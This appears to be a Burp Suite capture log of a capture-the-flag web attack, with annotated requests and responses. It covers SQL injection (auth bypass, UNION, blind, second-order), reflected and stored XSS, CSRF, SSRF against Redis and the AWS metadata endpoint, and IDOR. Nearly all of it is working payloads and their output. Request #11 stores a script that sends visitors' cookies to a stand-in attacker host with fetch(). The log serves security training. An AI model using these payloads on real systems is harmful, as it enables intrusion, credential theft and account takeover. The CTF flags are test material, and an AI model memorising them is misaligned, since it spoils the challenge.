================================================================================
  HTTP REQUEST/RESPONSE CAPTURE LOG
  Target: vuln-webapp.ctf.local (10.10.10.50:8080)
  Date: 2026-04-07
  Captured via: Burp Suite Proxy
================================================================================


--- REQUEST #1: SQL Injection - Authentication Bypass ---
===============================================================================
POST /login HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Cookie: PHPSESSID=a1b2c3d4e5f6a7b8c9d0e1f2

username=admin' OR '1'='1' --&password=anything

--- RESPONSE #1 ---
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8; Path=/; HttpOnly
Content-Length: 0

[NOTE: Authentication bypass successful. No parameterized queries.]


--- REQUEST #2: SQL Injection - UNION SELECT Column Enumeration ---
===============================================================================
GET /products?category=electronics' UNION SELECT NULL,NULL,NULL,NULL-- HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #2 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 3842

<html>
...
<table>
  <tr><td></td><td></td><td></td><td></td></tr>
</table>
...
</html>

[NOTE: 4 NULLs returned without error - table has 4 columns.]


--- REQUEST #3: SQL Injection - UNION SELECT Data Extraction ---
===============================================================================
GET /products?category=electronics' UNION SELECT username,password,email,role FROM users-- HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #3 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 5291

<html>
...
<table>
  <tr><td>admin</td><td>$2b$12$LJ3m4yKQd9Zn0GZw8X7kW.h8sPvQm7f1VbqR2N0e6cXz4t5wK9aO6</td><td>admin@vuln-webapp.local</td><td>administrator</td></tr>
  <tr><td>jsmith</td><td>$2b$12$Rt5k7mN8pV3qW2eD1cBxY.g9sQuRn6f2UaqP3M1d5bWy3s4vJ8zN7</td><td>jsmith@example.com</td><td>user</td></tr>
  <tr><td>flag_user</td><td>CTF{sql_union_1nj3ct10n_m4st3r}</td><td>flag@ctf.local</td><td>user</td></tr>
</table>
...
</html>

[NOTE: Full user table exfiltrated including password hashes and a CTF flag.]


--- REQUEST #4: SQL Injection - Blind Boolean-Based ---
===============================================================================
GET /user/profile?id=5 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='$' HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #4 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 2104

<html>
...
<div class="profile">
  <h2>User Profile</h2>
  <p>Name: Test User</p>
  ...
</div>
...
</html>

[NOTE: Profile displayed = condition TRUE. First character of admin password is '$'.]


--- REQUEST #5: SQL Injection - Blind Boolean-Based (False Condition) ---
===============================================================================
GET /user/profile?id=5 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #5 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1287

<html>
...
<div class="profile">
  <h2>User Profile</h2>
  <p>No user found.</p>
</div>
...
</html>

[NOTE: "No user found" = condition FALSE. Confirms blind boolean injection works.]


--- REQUEST #6: SQL Injection - Time-Based Blind ---
===============================================================================
GET /products?category=electronics' AND IF(SUBSTRING((SELECT database()),1,1)='v', SLEEP(5), 0)-- HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #6 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 3102
X-Response-Time: 5.012s

[NOTE: Response took ~5 seconds. First char of database name is 'v' (vuln_webapp_db).]


--- REQUEST #7: SQL Injection - Time-Based Blind (False Condition) ---
===============================================================================
GET /products?category=electronics' AND IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0)-- HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #7 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 3102
X-Response-Time: 0.043s

[NOTE: Instant response. First char is NOT 'a'. Confirms time-based blind injection.]


--- REQUEST #8: Reflected XSS - URL Parameter ---
===============================================================================
GET /search?q=<script>alert('XSS')</script> HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #8 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1893

<html>
...
<h2>Search results for: <script>alert('XSS')</script></h2>
<p>No results found.</p>
...
</html>

[NOTE: Script tag reflected verbatim in HTML. No output encoding. Reflected XSS confirmed.]


--- REQUEST #9: Reflected XSS - Attribute Injection ---
===============================================================================
GET /search?q=" onfocus=alert(document.cookie) autofocus=" HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #9 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 2041

<html>
...
<input type="text" name="q" value="" onfocus=alert(document.cookie) autofocus="">
...
</html>

[NOTE: Payload broke out of value attribute and injected event handler.]


--- REQUEST #10: Reflected XSS - img Tag Bypass ---
===============================================================================
GET /search?q=<img src=x onerror=alert('XSS')> HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #10 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1952

<html>
...
<h2>Search results for: <img src=x onerror=alert('XSS')></h2>
...
</html>

[NOTE: <script> tag may be filtered but <img> tag with onerror passes through.]


--- REQUEST #11: Stored XSS - Comment Form ---
===============================================================================
POST /blog/post/42/comment HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8
Content-Length: 98

author=hacker&comment=Great post!<svg onload=fetch('http://attacker.ctf.local/steal?c='+document.cookie)>

--- RESPONSE #11 ---
HTTP/1.1 302 Found
Location: /blog/post/42#comments
Content-Length: 0

[NOTE: Comment stored. Payload executes when ANY user views the blog post.]


--- REQUEST #12: Stored XSS - Viewing Infected Page ---
===============================================================================
GET /blog/post/42 HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=c3d4e5f6a7b8c9d0e1f2a3b4

--- RESPONSE #12 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 8472

<html>
...
<div class="comment">
  <strong>hacker</strong>
  <p>Great post!<svg onload=fetch('http://attacker.ctf.local/steal?c='+document.cookie)></p>
</div>
...
</html>

[NOTE: SVG payload rendered in victim's browser. Cookie exfiltration to attacker server.]


--- REQUEST #13: Stored XSS - Profile Field ---
===============================================================================
POST /profile/update HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8
Content-Length: 87

display_name=<details open ontoggle=alert(1)>TestUser</details>&bio=Just+a+regular+user

--- RESPONSE #13 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 2390

<html>
...
<p>Profile updated successfully.</p>
...
</html>

[NOTE: Display name with HTML tags stored. Executes when profile is viewed by anyone.]


--- REQUEST #14: CSRF - Password Change Without Token ---
===============================================================================
POST /account/change-password HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c3d4e5f6a7b8c9d0e1f2a3b4
Content-Length: 51
Referer: http://attacker.ctf.local/evil-page.html

new_password=hacked123&confirm_password=hacked123

--- RESPONSE #14 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1204

<html>
...
<p>Password changed successfully.</p>
...
</html>

[NOTE: No CSRF token required. No current password verification. Referer not checked.
 Attacker can change any logged-in user's password via hidden form on malicious page.]


--- REQUEST #15: CSRF - Fund Transfer Without Token ---
===============================================================================
POST /transfer HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c3d4e5f6a7b8c9d0e1f2a3b4
Content-Length: 38
Origin: http://attacker.ctf.local

to_account=ATTACKER-9999&amount=5000

--- RESPONSE #15 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 89

{"status":"success","message":"Transfer of $5000 to ATTACKER-9999 completed","tx_id":80214}

[NOTE: No anti-CSRF token. SameSite cookie attribute not set. Origin header not validated.]


--- REQUEST #16: CSRF - Email Change (Account Takeover Chain) ---
===============================================================================
POST /account/change-email HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c3d4e5f6a7b8c9d0e1f2a3b4
Content-Length: 34

new_email=attacker@evil-domain.com

--- RESPONSE #16 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1156

<html>
...
<p>Email updated to attacker@evil-domain.com</p>
...
</html>

[NOTE: No CSRF token. No email confirmation required. Attacker can chain with password
 reset to achieve full account takeover.]


--- REQUEST #17: SSRF - Internal Service Access ---
===============================================================================
POST /api/fetch-preview HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/json
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8
Content-Length: 51

{"url":"http://127.0.0.1:6379/"}

--- RESPONSE #17 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 243

{"preview":"$-ERR wrong number of arguments for 'get' command\r\n-ERR unknown command 'Host:'\r\n-ERR unknown command 'Accept:'\r\n","status":200}

[NOTE: Server fetched internal Redis instance on port 6379. Redis error messages confirm
 the service is running and accessible via SSRF.]


--- REQUEST #18: SSRF - Cloud Metadata Endpoint ---
===============================================================================
POST /api/fetch-preview HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/json
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8
Content-Length: 62

{"url":"http://169.254.169.254/latest/meta-data/iam/info"}

--- RESPONSE #18 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 389

{"preview":"{\n  \"Code\" : \"Success\",\n  \"InstanceProfileArn\" : \"arn:aws:iam::123456789012:instance-profile/webapp-role\",\n  \"InstanceProfileId\" : \"AIPA3EXAMPLE\"\n}","status":200}

[NOTE: AWS metadata endpoint accessible. IAM role name leaked. Next step: request
 temporary credentials at /latest/meta-data/iam/security-credentials/webapp-role]


--- REQUEST #19: SSRF - AWS Credentials Extraction ---
===============================================================================
POST /api/fetch-preview HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/json
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8
Content-Length: 92

{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-role"}

--- RESPONSE #19 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 512

{"preview":"{\n  \"Code\" : \"Success\",\n  \"AccessKeyId\" : \"ASIA3EXAMPLEKEY\",\n  \"SecretAccessKey\" : \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  \"Token\" : \"FwoGZXIvY...EXAMPLETOKEN...\",\n  \"Expiration\" : \"2026-04-07T18:30:00Z\"\n}","status":200}

[NOTE: Full AWS temporary credentials extracted via SSRF. Critical severity.
 Attacker can now access any AWS service the webapp-role has permissions for.]


--- REQUEST #20: SSRF - Internal Network Port Scan ---
===============================================================================
POST /api/fetch-preview HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/json
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8
Content-Length: 42

{"url":"http://10.10.10.100:8080/health"}

--- RESPONSE #20 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 198

{"preview":"{\"status\":\"healthy\",\"service\":\"payment-gateway\",\"version\":\"3.2.1\",\"database\":\"connected\"}","status":200}

[NOTE: Internal payment gateway service discovered at 10.10.10.100:8080.
 Service name, version, and database connectivity status leaked.]


--- REQUEST #21: IDOR - Accessing Another User's Invoice ---
===============================================================================
GET /api/v1/invoices/1042 HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo1Nywicm9sZSI6InVzZXIifQ.abc123
Accept: application/json

--- RESPONSE #21 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 312

{"invoice_id":1042,"user_id":57,"amount":149.99,"date":"2026-03-15","items":["Widget A","Widget B"]}

[NOTE: This is our own invoice (user_id 57). Now try incrementing the invoice_id.]


--- REQUEST #22: IDOR - Accessing Another User's Invoice (Unauthorized) ---
===============================================================================
GET /api/v1/invoices/1043 HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo1Nywicm9sZSI6InVzZXIifQ.abc123
Accept: application/json

--- RESPONSE #22 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 348

{"invoice_id":1043,"user_id":12,"amount":2499.00,"date":"2026-03-18","items":["Enterprise License","Premium Support"],"billing_email":"cfo@targetcorp.com"}

[NOTE: IDOR confirmed. user_id 57 can access user_id 12's invoice. No authorization
 check on resource ownership. Billing email of another user leaked.]


--- REQUEST #23: IDOR - Accessing User Profiles ---
===============================================================================
GET /api/v1/users/12 HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo1Nywicm9sZSI6InVzZXIifQ.abc123
Accept: application/json

--- RESPONSE #23 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 287

{"user_id":12,"username":"cfo_maria","email":"cfo@targetcorp.com","role":"admin","phone":"+1-555-0142","address":"742 Evergreen Terrace","created":"2025-11-02","last_login":"2026-04-06T14:22:00Z"}

[NOTE: Full PII of another user returned. IDOR on /api/v1/users/{id} endpoint.
 Combined with invoice IDOR, attacker can enumerate all users and their financial data.]


--- REQUEST #24: IDOR - Modifying Another User's Data ---
===============================================================================
PUT /api/v1/users/12 HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo1Nywicm9sZSI6InVzZXIifQ.abc123
Content-Type: application/json
Content-Length: 42

{"email":"attacker-controlled@evil.com"}

--- RESPONSE #24 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 58

{"message":"User profile updated successfully","user_id":12}

[NOTE: Write-access IDOR. user_id 57 modified user_id 12's email address.
 This enables account takeover via password reset to attacker's email.]


--- REQUEST #25: IDOR - Deleting Another User's Data ---
===============================================================================
DELETE /api/v1/invoices/1040 HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo1Nywicm9sZSI6InVzZXIifQ.abc123

--- RESPONSE #25 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 52

{"message":"Invoice deleted","invoice_id":1040}

[NOTE: DELETE method IDOR. Can destroy other users' financial records.
 No ownership verification on any HTTP method.]


--- REQUEST #26: XSS - SVG Upload with Embedded Script ---
===============================================================================
POST /api/v1/upload/avatar HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8
Content-Length: 341

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="avatar"; filename="profile.svg"
Content-Type: image/svg+xml

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

--- RESPONSE #26 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 98

{"message":"Avatar uploaded","url":"/uploads/avatars/57_profile.svg"}

[NOTE: SVG with embedded JavaScript accepted. When served with Content-Type image/svg+xml,
 the script executes in any viewer's browser context. Stored XSS via file upload.]


--- REQUEST #27: SQL Injection - Second Order ---
===============================================================================
POST /register HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

username=admin'--&password=test1234&email=attacker@evil.com

--- RESPONSE #27 ---
HTTP/1.1 302 Found
Location: /login?registered=1
Content-Length: 0

[NOTE: Username containing SQL metacharacters stored in database. The injection
 triggers later when this username is used in a different query (e.g., profile lookup).]


--- REQUEST #28: SQL Injection - Extracting Schema Information ---
===============================================================================
GET /products?category=electronics' UNION SELECT table_name,column_name,data_type,NULL FROM information_schema.columns WHERE table_schema=database()-- HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #28 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 7834

<html>
...
<table>
  <tr><td>users</td><td>id</td><td>int</td><td></td></tr>
  <tr><td>users</td><td>username</td><td>varchar</td><td></td></tr>
  <tr><td>users</td><td>password</td><td>varchar</td><td></td></tr>
  <tr><td>users</td><td>email</td><td>varchar</td><td></td></tr>
  <tr><td>users</td><td>role</td><td>varchar</td><td></td></tr>
  <tr><td>sessions</td><td>session_id</td><td>varchar</td><td></td></tr>
  <tr><td>sessions</td><td>user_id</td><td>int</td><td></td></tr>
  <tr><td>sessions</td><td>data</td><td>text</td><td></td></tr>
  <tr><td>invoices</td><td>id</td><td>int</td><td></td></tr>
  <tr><td>invoices</td><td>user_id</td><td>int</td><td></td></tr>
  <tr><td>invoices</td><td>amount</td><td>decimal</td><td></td></tr>
  <tr><td>flags</td><td>id</td><td>int</td><td></td></tr>
  <tr><td>flags</td><td>flag_value</td><td>varchar</td><td></td></tr>
</table>
...
</html>

[NOTE: Full database schema extracted. Note the 'flags' table - common in CTF challenges.]


--- REQUEST #29: SQL Injection - Extracting the Flag ---
===============================================================================
GET /products?category=electronics' UNION SELECT flag_value,NULL,NULL,NULL FROM flags-- HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8

--- RESPONSE #29 ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1724

<html>
...
<table>
  <tr><td>CTF{un10n_s3l3ct_f0r_th3_w1n}</td><td></td><td></td><td></td></tr>
</table>
...
</html>

[NOTE: Flag extracted from dedicated flags table via UNION injection.]


--- REQUEST #30: SSRF - Bypassing URL Validation with Redirect ---
===============================================================================
POST /api/fetch-preview HTTP/1.1
Host: vuln-webapp.ctf.local:8080
Content-Type: application/json
Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8
Content-Length: 71

{"url":"http://attacker.ctf.local/redirect?target=http://127.0.0.1:22"}

--- RESPONSE #30 ---
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 156

{"preview":"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6\r\n","status":200}

[NOTE: URL validation only checks the initial URL, not redirect targets. Server
 followed redirect to localhost:22 and leaked SSH version banner. Enables internal
 network enumeration via open redirect chaining.]


================================================================================
END OF CAPTURE LOG
================================================================================
